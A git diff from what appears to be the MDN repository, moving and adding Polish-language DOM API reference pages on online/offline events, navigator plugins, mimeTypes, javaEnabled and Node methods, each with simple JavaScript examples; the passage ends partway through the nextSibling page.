Własność istnieje w starszych wersjach przeglądarek Firefox i Internet Explorer (obecna specyfikacja została oparta na tych właśnie wcześniejszych implementacjach), można zatem korzystać z niej już teraz. Automatyczne wykrywanie stanu połączenia sieciowego zostało wprowadzone w programie Firefox 2.

+

Zdarzenia "online" i "offline"

+

W programie Firefox 3 wprowadzono dwa nowe zdarzenia: "online" i "offline". Są one wywoływane w elemencie <body> każdej otwartej strony, gdy przeglądarka jest przełączana między trybem online i offline. Ponadto zdarzenie bąbelkuje od elementu document.body, poprzez element document, aż do elementu window. Żadnego ze zdarzeń nie można anulować (niemożliwe jest zablokowanie możliwości przełączania przeglądarki między trybami online i offline). +

Obserwatory (ang. event listeners) tych zdarzeń można zarejestrować na kilka sposobów: +

+ +

Przykład

+

Dostępny jest prosty przykład zastosowania, który pozwala na sprawdzenie działania zdarzeń. +XXX When mochitests for this are created, point to those instead and update this example -nickolay +

+
 <!doctype html>
+ <html>
+ <head>
+   <script>
+     function updateOnlineStatus(msg) {
+       var status = document.getElementById("status");
+       var condition = navigator.onLine ? "ONLINE" : "OFFLINE";
+       status.setAttribute("class", condition);
+       var state = document.getElementById("state");
+       state.innerHTML = condition;
+       var log = document.getElementById("log");
+       log.appendChild(document.createTextNode("Zdarzenie: " + msg + "; stan=" + condition + "\n"));
+     }
+     function loaded() {
+       updateOnlineStatus("load");
+       document.body.addEventListener("offline", function () {
+         updateOnlineStatus("offline")
+       }, false);
+       document.body.addEventListener("online", function () {
+         updateOnlineStatus("online")
+       }, false);
+     }
+   </script>
+   <style>...</style>
+ </head>
+ <body onload="loaded()">
+   <div id="status"><p id="state"></p></div>
+   <div id="log"></div>
+ </body>
+ </html>
+
+

Odsyłacze

+ +
+
+{{ languages( { "en": "en/Online_and_offline_events", "es": "es/Eventos_online_y_offline", "fr": "fr/\u00c9v\u00e8nements_online_et_offline", "ja": "ja/Online_and_offline_events", "pt": "pt/Eventos_online_e_offline" } ) }} diff --git a/files/pl/web/api/navigatoronline/zdarzenia_online_i_offline/index.html b/files/pl/web/api/navigatoronline/zdarzenia_online_i_offline/index.html deleted file mode 100644 index d286acc4b0..0000000000 --- a/files/pl/web/api/navigatoronline/zdarzenia_online_i_offline/index.html +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: Zdarzenia online i offline -slug: Web/API/NavigatorOnLine/Zdarzenia_online_i_offline -tags: - - AJAX - - DOM - - Programowanie_WWW - - Wszystkie_kategorie -translation_of: Web/API/NavigatorOnLine/Online_and_offline_events ---- -

{{ Fx_minversion_header(3) }} W programie Firefox 3 zaimplementowano obsługę zdarzeń online i offline zdefiniowanych w specyfikacji WHATWG Web Applications 1.0. -

-

Omówienie

-

Do stworzenia dobrej aplikacji internetowej działającej w trybie offline konieczne jest istnienie sposobu na sprawdzenie, kiedy aplikacja faktycznie znajduje się w trybie offline. W niektórych przypadkach potrzebna jest także możliwość stwierdzenia, czy aplikacja powróciła do stanu „online”. W praktyce sprowadza się to do dwóch wymagań: -

-
  1. Konieczne jest stwierdzenie, kiedy użytkownik przełącza przeglądarkę w tryb online, aby można było przeprowadzić ponowną synchronizację z serwerem.
  2. Konieczne jest stwierdzenie, kiedy użytkownik przełącza przeglądarkę w tryb offline, aby można było odłożyć wysłanie żądania do serwera na później.
-

Zdarzenia online i offline pozwalają na uproszczenie powyższych procedur.

W aplikacji internetowej może także być konieczne wymuszenie przechowywania określonych dokumentów w pamięci podręcznej zasobów offline. W tym celu w kodzie sekcji HEAD należy wstawić znacznik LINK przedstawiony poniżej: -

-
<link rel="offline-resource" href="mój_zasób">
-
-

Przy przetwarzaniu kodu HTML przez program Firefox w wersji 3 lub nowszej dokumenty wymienione w znaczniku zostaną zapisane w specjalnej pamięci podręcznej zasobów offline. -

-

Interfejs API

- -

navigator.onLine to własność, która zwraca wartość true lub false (true dla trybu online, false dla trybu offline). Własność ta jest aktualizowana za każdym razem, gdy użytkownik przełącza przeglądarkę w tryb offline, wybierając odpowiednie polecenie menu (w programie Firefox: Plik -> Pracuj w trybie offline). -

Ponadto ta własność powinna być aktualizowana zawsze, gdy w przeglądarce nie można nawiązać połączenia z siecią. Zgodnie ze specyfikacją: -

-
-Atrybut navigator.onLine musi zwracać wartość false, jeżeli w programie po kliknięciu odsyłacza przez użytkownika lub po wysłaniu przez skrypt żądania do zdalnej witryny nie można połączyć się z siecią (lub wiadomo, że taka próba nie powiedzie się)... -
-

W programie Firefox 2 ta własność jest aktualizowana przy przełączaniu przeglądarki między trybami online i offline oraz przy utracie lub ponownym nawiązaniu połączenia z siecią (dotyczy systemów Windows i Linux). -

Własność istnieje w starszych wersjach przeglądarek Firefox i Internet Explorer (obecna specyfikacja została oparta na tych właśnie wcześniejszych implementacjach), można zatem korzystać z niej już teraz. Automatyczne wykrywanie stanu połączenia sieciowego zostało wprowadzone w programie Firefox 2.

-

Zdarzenia "online" i "offline"

-

W programie Firefox 3 wprowadzono dwa nowe zdarzenia: "online" i "offline". Są one wywoływane w elemencie <body> każdej otwartej strony, gdy przeglądarka jest przełączana między trybem online i offline. Ponadto zdarzenie bąbelkuje od elementu document.body, poprzez element document, aż do elementu window. Żadnego ze zdarzeń nie można anulować (niemożliwe jest zablokowanie możliwości przełączania przeglądarki między trybami online i offline). -

Obserwatory (ang. event listeners) tych zdarzeń można zarejestrować na kilka sposobów: -

- -

Przykład

-

Dostępny jest prosty przykład zastosowania, który pozwala na sprawdzenie działania zdarzeń. -XXX When mochitests for this are created, point to those instead and update this example -nickolay -

-
 <!doctype html>
- <html>
- <head>
-   <script>
-     function updateOnlineStatus(msg) {
-       var status = document.getElementById("status");
-       var condition = navigator.onLine ? "ONLINE" : "OFFLINE";
-       status.setAttribute("class", condition);
-       var state = document.getElementById("state");
-       state.innerHTML = condition;
-       var log = document.getElementById("log");
-       log.appendChild(document.createTextNode("Zdarzenie: " + msg + "; stan=" + condition + "\n"));
-     }
-     function loaded() {
-       updateOnlineStatus("load");
-       document.body.addEventListener("offline", function () {
-         updateOnlineStatus("offline")
-       }, false);
-       document.body.addEventListener("online", function () {
-         updateOnlineStatus("online")
-       }, false);
-     }
-   </script>
-   <style>...</style>
- </head>
- <body onload="loaded()">
-   <div id="status"><p id="state"></p></div>
-   <div id="log"></div>
- </body>
- </html>
-
-

Odsyłacze

- -
-
-{{ languages( { "en": "en/Online_and_offline_events", "es": "es/Eventos_online_y_offline", "fr": "fr/\u00c9v\u00e8nements_online_et_offline", "ja": "ja/Online_and_offline_events", "pt": "pt/Eventos_online_e_offline" } ) }} diff --git a/files/pl/web/api/navigatorplugins/javaenabled/index.html b/files/pl/web/api/navigatorplugins/javaenabled/index.html new file mode 100644 index 0000000000..291d27782e --- /dev/null +++ b/files/pl/web/api/navigatorplugins/javaenabled/index.html @@ -0,0 +1,39 @@ +--- +title: NavigatorPlugins.javaEnabled +slug: Web/API/Navigator/javaEnabled +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/NavigatorPlugins/javaEnabled +--- +

{{ ApiRef() }}

+ +

Podsumowanie

+ +

Ta metoda wskazuje czy w aktualnej przeglądarce została włączona obsługa Javy.

+ +

Składnia

+ +
result = window.navigator.javaEnabled()
+
+ +

Przykład

+ +
if (window.navigator.javaEnabled()) {
+   // przeglądarka posiada Javę
+}
+
+ +

Uwagi

+ +

Zwracana przez tę metodę wartość wskazuje czy Java jest włączona czy też nie - a nie czy przeglądarka w ogóle obsługuje Javę.

+ +

Specyfikacja

+ +

DOM Level 0. Nie jest częścią specyfikacji.

+ +
 
+ +

{{ languages( { "en": "en/DOM/window.navigator.javaEnabled", "ja": "ja/DOM/window.navigator.javaEnabled" } ) }}

diff --git a/files/pl/web/api/navigatorplugins/mimetypes/index.html b/files/pl/web/api/navigatorplugins/mimetypes/index.html new file mode 100644 index 0000000000..371e75eff2 --- /dev/null +++ b/files/pl/web/api/navigatorplugins/mimetypes/index.html @@ -0,0 +1,40 @@ +--- +title: NavigatorPlugins.mimeTypes +slug: Web/API/Navigator/mimeTypes +tags: + - DOM + - DOM_0 + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/NavigatorPlugins/mimeTypes +--- +

{{ ApiRef() }}

+ +

Podsumowanie

+ +

Zwraca obiekt MimeTypeArray, który zawiera listę obiektów MimeType reprezentujących typy MIME rozpoznawane przez przeglądarkę.

+ +

Składnia

+ +
mimeTypes = navigator.mimeTypes;
+
+ +

mimeTypes jest obiektem MimeTypeArray, który posiada zarówno własność length jak i metody item(index) oraz namedItem(name).

+ +

Przykład

+ +
  alert(window.navigator.mimeTypes.item(0).description); // wyświetli ostrzeżenie "Mozilla Default Plug-in"
+
+ +

Uwagi

+ +

Wartością własności type w zerowym elemencie (obiekt MimeType "Mozilla Default Plug-in") jest * zamiast typowego formatu MIME jak np. "image/x-macpaint"

+ +

Specyfikacja

+ +

{{ DOM0() }}

+ +
 
+ +

{{ languages( { "en": "en/DOM/window.navigator.mimeTypes", "ja": "ja/DOM/window.navigator.mimeTypes" } ) }}

diff --git a/files/pl/web/api/navigatorplugins/plugins/index.html b/files/pl/web/api/navigatorplugins/plugins/index.html new file mode 100644 index 0000000000..c60d9f6614 --- /dev/null +++ b/files/pl/web/api/navigatorplugins/plugins/index.html @@ -0,0 +1,58 @@ +--- +title: NavigatorPlugins.plugins +slug: Web/API/Navigator/plugins +tags: + - DOM + - DOM_0 + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/NavigatorPlugins/plugins +--- +

{{ ApiRef() }}

+ +

Podsumowanie

+ +

Zwraca obiekt PluginArray będący listą wszystkich wtyczek zainstalowanych w aplikacji.

+ +

Składnia

+ +
plugins = navigator.plugins;
+
+ +

plugins jest tabelą PluginArray zawierającą obiekty Plugin reprezentujące zainstalowane wtyczki.

+ +

Zwrócona wartość nie jest jest tablicą JavaScript, ale posiada własność length i obsługuje dostęp do poszczególnych elementów za pomocą notacji nawiasowej (plugins{{ mediawiki.external(2) }}) jak również poprzez metody item(index ) i namedItem("name" ).

+ +

Przykład

+ +

Poniższy przykład wyświetla wewnątrz zaawansowanego dokumentu informacje o zainstalowanych wtyczkach. Zauważ własności dostępne w obiekcie Plugin: name, filename i description.

+ +
<script type="text/javascript">
+   var L = navigator.plugins.length;
+   document.write(L.toString().bold() + " Plugin(s)".bold());
+   document.write("<br>");
+   document.write("Nazwa wtyczki | Nazwa pliku | Opis".bold());
+   document.write("<br>");
+   for(var i=0; i<L; i++) {
+     document.write(navigator.plugins[i].name);
+     document.write(" | ");
+     document.write(navigator.plugins[i].filename);
+     document.write(" | ");
+     document.write(navigator.plugins[i].description);
+     document.write("<br>");
+   }
+</script>
+
+ +

Uwagi

+ +

Obiekt Plugin wyświetla skromny interfejs w celu uzyskania informacji o różnych wtyczkach zainstalowanych w przeglądarce. Lista wtyczek jest również dostępna poprzez wprowadzenie about:plugins w pasku adresu.

+ +

Specyfikacja

+ +

{{ DOM0() }}

+ +
 
+ +

{{ languages( { "en": "en/DOM/window.navigator.plugins", "ja": "ja/DOM/window.navigator.plugins" } ) }}

diff --git a/files/pl/web/api/node/appendchild/index.html b/files/pl/web/api/node/appendchild/index.html new file mode 100644 index 0000000000..ae2b141231 --- /dev/null +++ b/files/pl/web/api/node/appendchild/index.html @@ -0,0 +1,52 @@ +--- +title: element.appendChild +slug: Web/API/Element/appendChild +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/appendChild +--- +

{{ ApiRef() }}

+ +

Podsumowanie

+ +

Metoda Node.appendChild() wstawia określony węzeł na koniec listy dzieci określonego rodzica. Jeśli węzeł ma już rodzica, jest on najpierw od niego oddzielany.

+ +

Składnia

+ +
var dziecko = element.appendChild(dziecko)
+
+ + + +

Opis

+ +

Metoda appendChild zwraca referencję do dodanego węzła. 

+ +

Przykład

+ +
// Tworzy nowy element paragrafu
+var p = document.createElement("p");
+
+// Wstawia go na koniec ciała dokumentu
+document.body.appendChild(p);
+
+ +

 

+ +

Uwagi

+ +

appendChild jest jedną z fundamentalnych metod w programowaniu z użyciem DOM. Metoda ta wstawia nowy węzeł do struktury DOM dokumentu HTML. Jest to druga część procesu stwórz-i-wstaw, podstawowego przy programowym budowaniu strony. Inne związane z tym metody to insertBefore, replaceChild i removeChild.

+ +

Jeśli dziecko jest referencją do węzła, który istnieje już w dokumencie, appendChild przenosi go z dotychczasowej pozycji w nowe miejsce (tj. nie ma potrzeby odzielać węzeł od jego rodzica przed wstawieniem go do innego węzła).

+ +

Specyfikacja

+ +

DOM Level 2 Core: appendChild

+ +

{{ languages( { "en": "en/DOM/element.appendChild", "fr": "fr/DOM/element.appendChild", "ja": "ja/DOM/element.appendChild" } ) }}

diff --git a/files/pl/web/api/node/childnodes/index.html b/files/pl/web/api/node/childnodes/index.html new file mode 100644 index 0000000000..2f15d119e2 --- /dev/null +++ b/files/pl/web/api/node/childnodes/index.html @@ -0,0 +1,49 @@ +--- +title: element.childNodes +slug: Web/API/Element/childNodes +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/childNodes +--- +

{{ ApiRef() }}

+

Podsumowanie

+

childNodes zwraca kolekcję węzłów-dzieci elementu.

+

Składnia i wartości

+
var listaWęzłów = referencjaDoWęzłaElementu.childNodes;
+
+

listaWęzłów to uporządkowana kolekcja obiektów węzłów, będącymi dziećmi bieżącego elementu. Jeśli element nie ma dzieci, listaWęzłów jest pusta.

+

listaWęzłów to zmienna przechowująca listę węzłów. Lista taka ma typ NodeList. Właściwość childNodes jest tylko do odczytu.

+

Przykład

+
// parg to referencja do obiektu elementu <p>
+if (parg.hasChildNodes())
+// sprawdzamy czy obiekt nie jest pusty - czy ma dzieci
+ {
+   var children = parg.childNodes;
+   for (var i = 0; i < children.length; i++)
+   {
+   // zrob cos z kazdym dzieckiem jako children[i]
+   // uwaga: lista "żyje", dodawanie bądź usuwanie dzieci ją zmieni
+   };
+ };
+
+
// sposób na usunięcie wszystkich dzieci węzła
+// box to referencja do obiektu elementu, który ma dzieci
+while (box.firstChild)
+ {
+    //lista jest "żywa", więc będzie przeindeksowana po każdym wywołaniu
+    box.removeChild(box.firstChild);
+ };
+
+

Uwagi

+

Elementy kolekcji węzłów są obiektami, a nie łańcuchami. By pobrać dane z tych obiektów, musisz użyć ich atrybutów (np. referencjaDoWęzłaElementu.childNodes{{ mediawiki.external(1) }}.nodeName by pobrać nazwę).

+

Obiekt document ma dwoje dzieci: deklarację DOCTYPE i element HTML.

+

Specyfikacja

+ +

{{ languages( { "en": "en/DOM/element.childNodes", "fr": "fr/DOM/element.childNodes", "ja": "ja/DOM/element.childNodes", "zh-cn": "cn/DOM/element.childNodes" } ) }}

diff --git a/files/pl/web/api/node/clonenode/index.html b/files/pl/web/api/node/clonenode/index.html new file mode 100644 index 0000000000..eb0550678b --- /dev/null +++ b/files/pl/web/api/node/clonenode/index.html @@ -0,0 +1,32 @@ +--- +title: element.cloneNode +slug: Web/API/Element/clientNode +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/cloneNode +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Metoda cloneNode zwraca kopię bieżącego węzła.

+

Składnia

+
kopiaWęzła = element.cloneNode(głębokość)
+
+

Parametry

+ +

Przykład

+
p = document.getElementById("para1");
+p_prime = p.cloneNode(true);
+
+

Uwagi

+

Kopia węzła zwrócona przez cloneNode() nie ma rodzica. Podczas klonowania węzła skopiowane zostają wszystkie jego atrybuty i ich wartości, ale nie zostaje skopiowana treść zawarta w węźle, ponieważ treść ta przechowywana jest w węźle potomnym typu Text.

+

Głębokie klonowanie kopiuje i zwraca węzeł wraz z całym drzewem pod nim się znajdującym (w tym treścią z potomnych węzłów Text) .

+

Specyfikacja

+

DOM Level 2 Core: cloneNode

+
+  
+

{{ languages( { "en": "en/DOM/element.cloneNode", "fr": "fr/DOM/element.cloneNode", "ja": "ja/DOM/element.cloneNode", "pt": "pt/DOM/element.cloneNode", "zh-cn": "cn/DOM/element.cloneNode" } ) }}

diff --git a/files/pl/web/api/node/firstchild/index.html b/files/pl/web/api/node/firstchild/index.html new file mode 100644 index 0000000000..20189ce803 --- /dev/null +++ b/files/pl/web/api/node/firstchild/index.html @@ -0,0 +1,101 @@ +--- +title: element.firstChild +slug: Web/API/Element/firstChild +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/firstChild +--- +

{{ ApiRef() }}

+ +

Podsumowanie

+ +

firstChild jest właściwością tylko do odczytu, która zwraca pierwszego potomka węzła lub wartość null, jeżeli węzeł nie ma potomków. Jeżeli węzeł jest elementem Document, wtedy zwraca pierwszy węzeł z listy swoich bezpośrednich dzieci.

+ +

Składnia i wartości

+ +
var elt = element.firstChild;
+
+ +

elt to referencja do pierwszego dziecka elementu, jeśli jest takie - w przeciwnym razie jest to null.

+ +

Przykład

+ +

Przeglądarki oparte o Gecko wstawiają do dokumentu węzły tekstowe reprezentujące białe znaki w kodzie. Dlatego pierwsze dziecko elementu może odnosić się do wstawionego węzła tekstowego, a nie elementu określonego przez następny znacznik w źródle strony.

+ +
<p id="para-01">
+  <span>Pierwszy span</span>
+</p>
+
+<script type="text/javascript">
+  var p01 = document.getElementById('para-01');
+  alert(p01.firstChild.nodeName)
+</script>
+
+ +

W powyższym przykładzie alert wyświetli '#text', ponieważ wstawiony jest węzeł tekstowy oznaczający przerwę między otwierającymi znacznikami <p> i <span> . Dowolny biały znak spowoduje wstawienie węzła tekstowego - zarówno pojedyncza spacja, jak i dowolna ilość spacji, nowych linii, znaków tabulacji itd.

+ +

Kolejny węzeł #text jest wstawiany między zamykającymi znacznikami </span> i </p>

+ +

Jeśli usunie się białe znaki ze źródła, nie zostaną wstawione węzły tekstowe, a element span stanie się pierwszym dzieckiem paragrafu.

+ +
<p id="para-01"><span>Pierwszy span</span></p>
+
+<script type="text/javascript">
+  var p01 = document.getElementById('para-01');
+  alert(p01.firstChild.nodeName)
+</script>
+
+ +

Teraz alert wyświetli 'SPAN'.

+ +

Uwagi

+ +

Więcej o problemach z węzłami-zjawami znajdziesz w {{ Bug(26179) }} (nie komentuj tego błędu!). Oto jeden ze sposobów na ominięcie problemu:

+ +
<!-- konwencjonalne formatowanie prowadzi do
+     zaśmiecenia drzewa dokumentu w Gecko
+ -->
+<div>
+ <ul>
+  <li>Pozycja 1</li>
+  <li>Pozycja 2</li>
+  <li>Pozycja 3</li>
+ </ul>
+</div>
+
+<!-- Formatowanie ustawione, by ominąć
+     problem węzłów-zjaw
+ -->
+<div
+ ><ul
+  ><li>Pozycja 1</li
+  ><li>Pozycja 2</li
+  ><li>Pozycja 3</li
+ ></ul
+></div>
+
+ +

Węzły bezdzietne

+ +

Własność zwraca null, jeśli bieżący węzeł jest bezdzietny.

+ +

Białe znaki i węzły dzieci

+ +

Węzły #text mogą być wstawione jako dzieci elementów takich jak TR pomimo że specyfikacja HTML pozwala tylko na TD jako ich dzieci. Z uwagi na XML białe znaki muszą zostać zachowane i gdzieś wstawione.

+ +

Ponieważ węzły #text nie są elementami HTML, białe znaki są tam wstawiane.

+ +

W3C DOM 3 FAQ: Why are some Text nodes empty?

+ +

Specyfikacja

+ +

DOM Level 1 Core: firstChild

+ +

DOM Level 2 Core: firstChild

+ +
+ +

{{ languages( { "en": "en/DOM/element.firstChild", "fr": "fr/DOM/element.firstChild", "ja": "ja/DOM/element.firstChild", "zh-cn": "cn/DOM/element.firstChild" } ) }}

diff --git a/files/pl/web/api/node/haschildnodes/index.html b/files/pl/web/api/node/haschildnodes/index.html new file mode 100644 index 0000000000..e21f22dedf --- /dev/null +++ b/files/pl/web/api/node/haschildnodes/index.html @@ -0,0 +1,28 @@ +--- +title: element.hasChildNodes +slug: Web/API/Element/hasChildNodes +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/hasChildNodes +--- +

{{ ApiRef() }}

+

Podsumowanie

+

hasChildNodes zwraca wartość logiczną określającą, czy element posiada dzieci czy nie.

+

Składnia

+
[ true | false ] = element.hasChildNodes()
+
+

Przykład

+
t1 = document.getElementById("table-data");
+if ( t1.hasChildNodes() ) {
+    // tabela ma dzieci }
+
+

Uwagi

+

Zauważ, że składnia element.hasChildNodes - bez nawiasów () - jest nieprawidłowa. Takie użycie zawsze zwraca true, oznaczające, że metoda o tej nazwie jest dostępna w obiekcie. Nie daj się nabrać.

+

Specyfikacja

+

hasChildNodes

+
+  
+

{{ languages( { "en": "en/DOM/element.hasChildNodes", "fr": "fr/DOM/element.hasChildNodes", "ja": "ja/DOM/element.hasChildNodes" } ) }}

diff --git a/files/pl/web/api/node/insertbefore/index.html b/files/pl/web/api/node/insertbefore/index.html new file mode 100644 index 0000000000..27c40ad945 --- /dev/null +++ b/files/pl/web/api/node/insertbefore/index.html @@ -0,0 +1,86 @@ +--- +title: element.insertBefore +slug: Web/API/Element/insertBefore +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/insertBefore +--- +

{{ ApiRef() }}

+ +

Podsumowanie

+ +

Wstawia określony węzeł przed danym elementem jako dziecko aktualnego węzła.

+ +

Składnia

+ +
var wstawionyElement =elementRodzic.insertBefore(nowyElement,danyElement)
+
+ +

Jeżeli danyElement ma wartość null, nowyElement jest wstawiany na końcu listy węzłów potomnych.

+ + + +

Przykład

+ +
 <html>
+
+ <head>
+ <title>Gecko DOM insertBefore test</title>
+ </head>
+
+ <body>
+ <div>
+   <span id="childSpan">foo bar</span>
+ </div>
+
+ <script type="text/javascript">
+ // tworzy pusty węzeł elementu
+ // bez ID, jakichkolwiek atrybutów lub jakiejkolwiek zawartości
+ var sp1 = document.createElement("span");
+
+ // daje to atrybut id nazwany 'newSpan'
+ sp1.setAttribute("id", "newSpan");
+
+ // tworzy jakąś zawartość dla nowo powstałego elementu.
+ var sp1_content = document.createTextNode("Jest to nowy element span. ");
+
+ // zwraca się, która treść ma być do nowego elementu.
+ sp1.appendChild(sp1_content);
+
+ var sp2 = document.getElementById("childSpan");
+ var parentDiv = sp2.parentNode;
+
+ // wstawia nowy element do DOM przed sp2
+ parentDiv.insertBefore(sp1, sp2);
+ </script>
+
+ </body>
+ </html>
+
+ +

Nie istnieje metoda insertAfter, jednak można ją emulować poprzez kombinację insertBefore oraz nextSibling.

+ +

W powyższym przykładzie, sp1 może zostać wstawiona za sp2 przy użyciu:

+ +
parentDiv.insertBefore(sp1, sp2.nextSibling);
+
+ +

Jeżeli sp2 nie posiada następnego rodzeństwa i musi być ostatnim potomnym —sp2.nextSibling to zwróci null więc sp1 będzie wstawione na końcu listy węzłów potomnych (np. natychmiast po sp2).

+ +

Specyfikacja

+ +

insertBefore

+ +

 

+ +
 
+ +

{{ languages( { "en": "en/DOM/element.insertBefore", "fr": "fr/DOM/element.insertBefore", "ja": "ja/DOM/element.insertBefore", "pt": "pt/DOM/element.insertBefore" } ) }}

diff --git a/files/pl/web/api/node/lastchild/index.html b/files/pl/web/api/node/lastchild/index.html new file mode 100644 index 0000000000..34475c02d7 --- /dev/null +++ b/files/pl/web/api/node/lastchild/index.html @@ -0,0 +1,28 @@ +--- +title: element.lastChild +slug: Web/API/Element/lastChild +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/lastChild +--- +

{{ ApiRef() }}

+

Podsumowanie

+

lastChild zwraca ostatnie dziecko węzła.

+

Składnia i wartości

+
ostatnieDziecko = element.lastChild
+
+

ostatnieDziecko to węzeł. Jeśli jego rodzicem jest element, dzieckiem jest na ogół węzeł elementu, komentarza lub węzeł tekstowy.

+

Przykład

+
tr = document.getElementById("row1");
+td_róg = tr.lastChild;
+
+

Uwagi

+

Jeżeli nie ma węzłów potomnych, zwracane jest null.

+

Specyfikacja

+

lastChild

+
+  
+

{{ languages( { "en": "en/DOM/element.lastChild", "fr": "fr/DOM/element.lastChild", "ja": "ja/DOM/element.lastChild" } ) }}

diff --git a/files/pl/web/api/node/localname/index.html b/files/pl/web/api/node/localname/index.html new file mode 100644 index 0000000000..55b5649e31 --- /dev/null +++ b/files/pl/web/api/node/localname/index.html @@ -0,0 +1,64 @@ +--- +title: element.localName +slug: Web/API/Element/localName +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/localName +--- +

{{ ApiRef() }}

+

Podsumowanie

+

localName zwraca lokalną część uściślonej nazwy węzła.

+

Składnia

+
nazwa = element.localName
+
+

Parametry

+ +

Przykład

+

(Musi obsługiwać treść XML typu, jak <tt>text/xml</tt> lub <tt>application/xhtml+xml</tt>.)

+
<html xmlns="http://www.w3.org/1999/xhtml"
+      xmlns:svg="http://www.w3.org/2000/svg">
+<head>
+  <script><![CDATA[
+  function test() {
+    var text = document.getElementById('text');
+    var circle = document.getElementById('circle');
+
+    text.value = "<svg:circle> has:\n" +
+                 "localName = '" + circle.localName + "'\n" +
+                 "namespaceURI = '" + circle.namespaceURI + "'";
+  }
+  ]]></script>
+</head>
+<body onload="test()">
+  <textarea id="text" rows="4" cols="55"/>
+  <svg:svg version="1.1"
+    style="width:100%; height:100%; position:absolute; top:0; left:0; z-index:0;"
+    viewBox="0 0 100 100">
+    <svg:circle cx="50" cy="50" r="30" style="fill:#aaa" id="circle"/>
+  </svg:svg>
+</body>
+</html>
+
+

Uwagi

+

Dla węzłów typu innego niż ELEMENT_NODE i ATTRIBUTE_NODE oraz dla węzłów utworzonych za pomocą metod DOM Level 1, jak na przykład document.createElement, własność ta ma zawsze wartość NULL.

+

localname węzła to ta część uściślonej nazwy węzła, która znajduje się po dwukropku. Uściślone nazwy są zwykle używane w XML jako część przestrzeni nazw w poszczególnych dokumentach XML. Na przykład w uściślonej nazwie "ecomm:partners" nazwa lokalna to "partners", a "ecomm" to prefiks.

+
<ecomm:business id="soda_shop" type="brick_n_mortar">
+  <ecomm:partners>
+    <ecomm:partner id="1001">Tony's Syrup Warehouse
+    </ecomm:partner>
+  </ecomm:partner>
+</ecomm:business>
+
+

Prefiks - w tym wypadku "ecomm" - określa przestrzeń nazw, w której można użyć nazwy lokalnej.

+

Zobacz także

+

element.namespaceURI

+

Specyfikacja

+

localName

+
+  
+

{{ languages( { "en": "en/DOM/element.localName", "fr": "fr/DOM/element.localName", "ja": "ja/DOM/element.localName" } ) }}

diff --git a/files/pl/web/api/node/namespaceuri/index.html b/files/pl/web/api/node/namespaceuri/index.html new file mode 100644 index 0000000000..9f252ba570 --- /dev/null +++ b/files/pl/web/api/node/namespaceuri/index.html @@ -0,0 +1,39 @@ +--- +title: element.namespaceURI +slug: Web/API/Element/namespaceURI +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/namespaceURI +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Zwraca URI przestrzeni nazw tego węzła lub NULL, jeśli jej nie określono.

+

Składnia

+
przestrzeńNazw = element.namespaceURI
+
+

Parametry

+ +

Przykład

+

W poniższym wycinku kodu sprawdzane są localName i namespaceURI węzła. Jeśli namespaceURI jest zgodny ze zmienną zawierającą przestrzeń nazw dla XUL, węzeł jest uznawany za widget <browser /> w języku XUL.

+
if (node.localName == "browser"
+    && node.namespaceURI == kXULNSURI) {
+// xul browser
+this.viewee = node.webNavigation.document;
+//...
+}
+
+

Uwagi

+

Nie jest to wyznaczona wartość, będąca rezultatem przeszukiwania w oparciu o deklaracje przestrzeni nazw w zakresie, w jakim znajduje się element. Jest to jedynie URI takiej przestrzeni nazw, jaką nadano w momencie tworzenia elementu.

+

Dla węzłow typów innych niż ELEMENT_NODE i ATTRIBUTE_NODE oraz węzłów utworzonych metodami DOM Level 1, jak document.createElement, wartość tej właściwości to zawsze NULL.

+

Zgodnie ze specyfikacją Namespaces in XML atrybut nie dziedziczy przestrzeni nazw po elemencie, do którego jest przypisany. Jeśli atrybut nie ma bezpośrednio nadanej przestrzeni nazw, po prostu nie należy do żadnej przestrzeni.

+

Specyfikacja

+

namespaceURI

+

Przestrzenie nazw XML

+
+  
+

{{ languages( { "en": "en/DOM/element.namespaceURI", "fr": "fr/DOM/element.namespaceURI", "ja": "ja/DOM/element.namespaceURI" } ) }}

diff --git a/files/pl/web/api/node/nextsibling/index.html b/files/pl/web/api/node/nextsibling/index.html new file mode 100644 index 0000000000..17f1822a56 --- /dev/null +++ b/files/pl/web/api/node/nextsibling/index.html @@ -0,0 +1,63 @@ +--- +title: element.nextSibling +slug: Web/API/Element/nextSibling +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/nextSibling +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Zwraca węzeł znajdujący się w drzewie bezpośrednio za węzłem bieżącym.

+

Składnia i wartości

+
następnyElement = element.nextSibling
+
+

następnyElement to węzeł bezpośrednio następny w liście rodzeństwa (np. liście dzieci węzła parentNode). Następnym węzłem jest na ogół węzeł elementu, komentarza lub węzeł tekstowy.

+

Przykład

+
<div id="div-01">Here is div-01</div>
+<div id="div-02">Here is div-02</div>
+
+<script type="text/javascript">
+  var el = document.getElementById('div-01').nextSibling;
+  document.write('<p>Rodzeństwo div-01</p><ol>');
+  while (el) {
+    document.write('<li>' + el.nodeName + '</li>');
+    el = el.nextSibling;
+  }
+  document.write('</ol>');
+</script>
+
+/**************************************************
+  Po załadowaniu zostanie dopisane do strony:
+
+     Rodzeństwo div-01
+
+      1. #text
